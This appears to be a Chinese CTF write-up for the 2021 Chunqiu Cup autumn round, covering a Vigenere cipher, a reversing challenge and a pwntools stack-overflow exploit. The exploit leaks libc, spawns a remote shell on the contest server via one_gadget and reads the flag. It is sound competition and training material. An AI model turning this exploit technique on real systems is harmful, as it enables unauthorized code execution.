2021年春秋杯网络安全联赛秋季赛writeup
Crypto
Vigenere
在https://www.boxentriq.com/code-breaking/vigenere-cipher 网站爆破得到为key:asterism
解密得到falg。
或者
根据题目Vigenere可看出是维吉尼亚密码
使用在线解码工具破解
https://guballa.de/vigenere-solver
flag:flag{53d613fc-6c5c-4dd6-b3ce-8bc867c6f648}
PWN
supercall
简单栈溢出,利用LibcSearcher通过题目泄露出的_IO_2_1_stdin_的真实地址找到 libc 基地址,用one_gatget 来get shell。
#!/usr/bin/env python
# -*- encoding: utf-8 -*-
'''
@File : exp.py
@Time : 2021/11/27 13:39:07
@Author : lexsd6
'''
from pwn import *
from libcfind import *
local_mote=0
elf='./supercall'
e=ELF(elf)
#context.log_level = 'debug'
context.arch=e.arch
ip_port=['123.57.207.81',16985]
debug=lambda : gdb.attach(p) if local_mote==1 else None
if local_mote==1 :
p=process(elf)
else :
p=remote(ip_port[0],ip_port[-1])
#0x0000000000026796 : pop rdi ; ret
stack_addr=int(p.recvuntil(',')[:-1],16)
stdin_addr=int(p.recv(),16)
log.info(hex(stack_addr))
log.info(hex(stdin_addr))
x=finder('_IO_2_1_stdin_',stdin_addr,num=9)
#[-] 9: local-46e93283ff53133360e02a73ae5b5ba375410855 (source from:/mnt/d/filewsl/supercall/libc-2.27.so)
p.sendline('1'*8+'2'*8+'3'*7)
p.sendline('\x00'*0x10+'x'*8+p64(x.ogg(num=0)))
"""
[-] 0: 0x4f3d5 execve("/bin/sh", rsp+0x40, environ)
constraints:
rsp & 0xf == 0
rcx == NULL
"""
p.interactive()
再在远程cat flag.
[+] you choose gadget: 0x4f3d5
[*] Switching to interactive mode
$ ls
bin
dev
flag
lib
lib32
lib64
supercall
$ cat f*
flag{2f3f3632-6484-4c00-82f3-a63e0d4340d9}$
RESnake
发现题目有UPX壳,脱壳后,用ida打开审阅发现一疑似加密flag函数
int sub_40186F()
{
char v1[256]; // [esp+18h] [ebp-910h]
char Dst[2048]; // [esp+118h] [ebp-810h]
int j; // [esp+918h] [ebp-10h]
int i; // [esp+91Ch] [ebp-Ch]
sub_4021AD(22, 18);
scanf("%s", v1);
for ( i = 0; v1[i]; ++i )
;
sub_4017D2(v1, i);#fun2
memset(Dst, 0, 0x800u);
sub_4015F7(v1, Dst, i); #fun1
sub_4021AD(22, 20);
for ( j = 0; Dst[j]; ++j )
{
if ( Dst[j] != a7g5d5bayTmdlwl[j] )
return puts("不对哦~下次再来吧~");
}
return puts(asc_405016);
}
继续跟进fun2发现:
int __cdecl sub_4017D2(int a1, int a2)
{
int result; // eax
int j; // [esp+8h] [ebp-Ch]
signed int i; // [esp+Ch] [ebp-8h]
for ( i = 1; i <= 10; ++i )
{
for ( j = 0; ; ++j )
{
result = *(unsigned __int8 *)(j + a1);
if ( !(_BYTE)result )
break;
if ( a2 % i )
*(_BYTE *)(j + a1) ^= (_BYTE)i + (_BYTE)j;
else
*(_BYTE *)(j + a1) ^= (unsigned __int8)(j % i) + (_BYTE)j;
}
}
return result;
}
是对我们的输入字符串,每一个字符按位置进行与操作。
fun1是字符串的base64加密。
while ( v16 < a3 )
{
v3 = v13;
v14 = v13 + 1;
*(_BYTE *)(a2 + v3) = Str[((signed int)*(unsigned __int8 *)(v16 + a1) >> 2) & 0x3F];
v11 = 16 * *(_BYTE *)(v16 + a1) & 0x30;
if ( v16 + 1 >= a3 )
{
v4 = v14;
v5 = v14 + 1;
*(_BYTE *)(a2 + v4) = Str[v11];
*(_BYTE *)(v5 + a2) = '=';
v6 = v5 + 1;
v13 = v5 + 2;
*(_BYTE *)(v6 + a2) = '=';
break;
}
v7 = v14;
v15 = v14 + 1;
*(_BYTE *)(a2 + v7) = Str[((signed int)*(unsigned __int8 *)(v16 + 1 + a1) >> 4) & 0xF | v11];
v12 = 4 * *(_BYTE *)(v16 + 1 + a1) & 0x3C;
if ( v16 + 2 >= a3 )
{
*(_BYTE *)(a2 + v15) = Str[v12];
v8 = v15 + 1;
v13 = v15 + 2;
*(_BYTE *)(v8 + a2) = '=';
break;
}
*(_BYTE *)(a2 + v15) = Str[((signed int)*(unsigned __int8 *)(v16 + 2 + a1) >> 6) & 3 | v12];
v9 = v15 + 1;
v13 = v15 + 2;
*(_BYTE *)(a2 + v9) = Str[*(_BYTE *)(v16 + 2 + a1) & 0x3F];
v16 += 3;
}
但在调试时,发现在fun1之前,有个函数将全局变量str值改动了
这个函数如下:
signed int sub_401536()
{
char v0; // ST13_1
signed int result; // eax
signed int v2; // [esp+14h] [ebp-14h]
int j; // [esp+18h] [ebp-10h]
int i; // [esp+1Ch] [ebp-Ch]
v2 = strlen("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/");
for ( i = 0; v2 / 2 > i; ++i )
{
for ( j = 0; v2 - i - 1 > j; ++j )
{
if ( Str[j] > Str[j + 1] )
{
v0 = Str[j];
Str[j] = Str[j + 1];
Str[j + 1] = v0;
}
}
}
result = 1;
dword_406060 = 1;
return result;
}
于是写脚本还愿str:
base_flag=[]
#x='7G5d5bAy+TMdLWlu5CdkMTlcJnwkNUgb2AQL3CcmPpVf6DAp72scOSlb'
x="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
v2 = len("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/")
"""
for ( i = 0; v2 / 2 > i; ++i )
{
for ( j = 0; v2 - i - 1 > j; ++j )
{
if ( Str[j] > Str[j + 1] )
{
v0 = Str[j];
Str[j] = Str[j + 1];
Str[j + 1] = v0;
}
}
"""
for i in x:
base_flag.append(ord(i))
print(base_flag)
for i in range(v2//2):
for j in range(v2-i-1):
if base_flag[j]>base_flag[j+1]:
v0=base_flag[j]
base_flag[j]=base_flag[j+1]
base_flag[j+1]=v0
得到真正的str:ABCDEFGHIJKLMNOPQRST0123456789+/UVWXYZabcdefghijklmnopqrstuvwxyz
在对fun1函数和fun2函数逆向换源,得到flag:
import base64
table = 'ABCDEFGHIJKLMNOPQRST0123456789+/UVWXYZabcdefghijklmnopqrstuvwxyz'
table2 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
tmp = '7G5d5bAy+TMdLWlu5CdkMTlcJnwkNUgb2AQL3CcmPpVf6DAp72scOSlb'
tmp2 = ''
for i in tmp:
index = table.index(i)
tmp2 += table2[index]
k=base64.b64decode(tmp2+'==')
nre=''
kk=[]
for i in range(len(k)):
kk.append(ord(k[i]))
print(kk)
a2=len(kk)
for i in range((10)):
i=i+1
for j in range(len(kk)):
print(str(a2%i)+''+str(i))
if a2%i!=0:
kk[j]^=(i+j)
else :
kk[j]^=((j%i)+j)
print(kk)
#print(k)
print(kk)
flag=''
for i in (kk):
flag+=chr(i)
print(flag)
出flag
flag{5e2200bc-f21a-5421-a90b-57dec19fe196}
MISC
问卷调查
填完表就有flag
flag{让我们一起带给世界安全感}